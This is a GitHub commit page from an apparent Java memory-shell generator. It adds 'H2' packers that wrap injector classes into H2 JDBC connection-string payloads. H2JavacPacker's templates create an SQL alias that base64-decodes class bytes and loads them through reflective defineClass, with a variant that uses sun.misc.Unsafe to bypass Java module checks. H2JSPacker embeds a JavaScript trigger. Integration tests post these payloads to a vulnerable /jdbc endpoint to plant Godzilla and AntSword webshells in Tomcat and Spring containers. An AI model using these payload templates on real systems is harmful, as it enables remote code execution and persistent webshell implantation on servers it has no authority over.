Skip to content

Commit b71cd4a

Browse files
committed
feat: support H2 packer
1 parent aba0575 commit b71cd4a

File tree

22 files changed

+341
-10
lines changed

22 files changed

+341
-10
lines changed

generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,7 @@ void pack() {
1717
GenerateResult generateResult = GenerateResult.builder()
1818
.injectorClassName("hehe")
1919
.injectorBytesBase64Str("hehe").build();
20-
String jsContent = new String(new ScriptEnginePacker().pack(generateResult.toClassPackerConfig()));
21-
System.out.println(jsContent);
20+
String jsContent = new ScriptEnginePacker().pack(generateResult.toClassPackerConfig());
2221
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
2322
}
2423
}
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
#!/bin/bash
2-
jps | grep -E "jar" | awk '{print $1}' | tr -d '\n'
2+
pgrep -a java | awk '{print $1}' | tr -d '\n'

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -348,6 +348,7 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
348348
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
349349
case Base64 -> VulTool.postData(url + "/b64", content);
350350
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
351+
case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);
351352
default -> throw new IllegalStateException("Unexpected value: " + packer);
352353
}
353354
}

integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -58,13 +58,14 @@ static Stream<Arguments> casesProvider() {
5858
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
5959
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
6060
);
61-
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
61+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
6262
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
6363
}
6464

6565
@AfterAll
6666
static void tearDown() {
6767
String logs = container.getLogs();
68+
log.info(logs);
6869
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
6970
}
7071

@@ -92,7 +93,7 @@ static Stream<Arguments> tomcatCasesProvider() {
9293
ShellType.AGENT_FILTER_CHAIN,
9394
ShellType.CATALINA_AGENT_CONTEXT_VALVE
9495
);
95-
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
96+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
9697
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
9798
}
9899

integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ static Stream<Arguments> casesProvider() {
5656
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
5757
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
5858
);
59-
List<Packers> testPackers = List.of(Packers.Base64);
59+
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
6060
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
6161
}
6262

@@ -91,7 +91,7 @@ static Stream<Arguments> tomcatCasesProvider() {
9191
ShellType.AGENT_FILTER_CHAIN,
9292
ShellType.CATALINA_AGENT_CONTEXT_VALVE
9393
);
94-
List<Packers> testPackers = List.of(Packers.Base64);
94+
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
9595
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
9696
}
9797

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,7 @@ static Stream<Arguments> casesProvider() {
5050
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
5151
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
5252
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
53+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
5354
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
5455
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
5556
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,9 @@
1515
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
1616
import com.reajason.javaweb.packer.groovy.GroovyPacker;
1717
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
18+
import com.reajason.javaweb.packer.h2.H2JSPacker;
19+
import com.reajason.javaweb.packer.h2.H2JavacPacker;
20+
import com.reajason.javaweb.packer.h2.H2Packer;
1821
import com.reajason.javaweb.packer.jar.AgentJarPacker;
1922
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
2023
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
@@ -125,6 +128,10 @@ public enum Packers {
125128
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
126129
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
127130

131+
H2(new H2Packer()),
132+
H2Javac(new H2JavacPacker(), H2Packer.class),
133+
H2JS(new H2JSPacker(), H2Packer.class),
134+
128135
XxlJob(new XxlJobPacker()),
129136
;
130137
private final Packer instance;
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.packer.h2;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/6/28
10+
*/
11+
public class H2JSPacker implements Packer {
12+
String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n{{script}}$$";
13+
14+
@Override
15+
public String pack(ClassPackerConfig config) {
16+
String script = Packers.ScriptEngine.getInstance().pack(config);
17+
return template.replace("{{script}}", script.replaceAll(";", "\\\\;"));
18+
}
19+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
package com.reajason.javaweb.packer.h2;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import lombok.SneakyThrows;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/6/28
10+
*/
11+
public class H2JavacPacker implements Packer {
12+
String template = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
13+
"String a(String a) throws java.lang.Throwable{" +
14+
"byte[] bytes=null\\;" +
15+
"String base64Str=\"{{base64Str}}\"\\;" +
16+
"try {\n" +
17+
" bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
18+
"} catch (java.lang.Throwable var6) {\n" +
19+
" bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
20+
"}" +
21+
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
22+
"defMethod.setAccessible(true)\\;" +
23+
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
24+
"myclass.newInstance()\\;" +
25+
"return null\\;" +
26+
"}'\\;" +
27+
"CALL look('')";
28+
String bypassTemplate = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
29+
"String a(String a) throws java.lang.Throwable{" +
30+
"String base64Str=\"{{base64Str}}\"\\;" +
31+
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
32+
"try {" +
33+
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
34+
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
35+
" unsafeField.setAccessible(true)\\;" +
36+
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
37+
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
38+
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
39+
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
40+
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
41+
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
42+
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
43+
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
44+
"} catch (Throwable e) {}" +
45+
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
46+
"defMethod.setAccessible(true)\\;" +
47+
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
48+
"myclass.newInstance()\\;" +
49+
"return null\\;" +
50+
"}'\\;" +
51+
"CALL look('')";
52+
53+
@Override
54+
@SneakyThrows
55+
public String pack(ClassPackerConfig config) {
56+
if (config.isByPassJavaModule()) {
57+
return bypassTemplate.replace("{{base64Str}}", config.getClassBytesBase64Str());
58+
}
59+
return template.replace("{{base64Str}}", config.getClassBytesBase64Str());
60+
}
61+
}
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
package com.reajason.javaweb.packer.h2;
2+
3+
import com.reajason.javaweb.packer.AggregatePacker;
4+
5+
/**
6+
* @author ReaJason
7+
* @since 2025/6/28
8+
*/
9+
public class H2Packer implements AggregatePacker {
10+
11+
}

0 commit comments

Comments
 (0)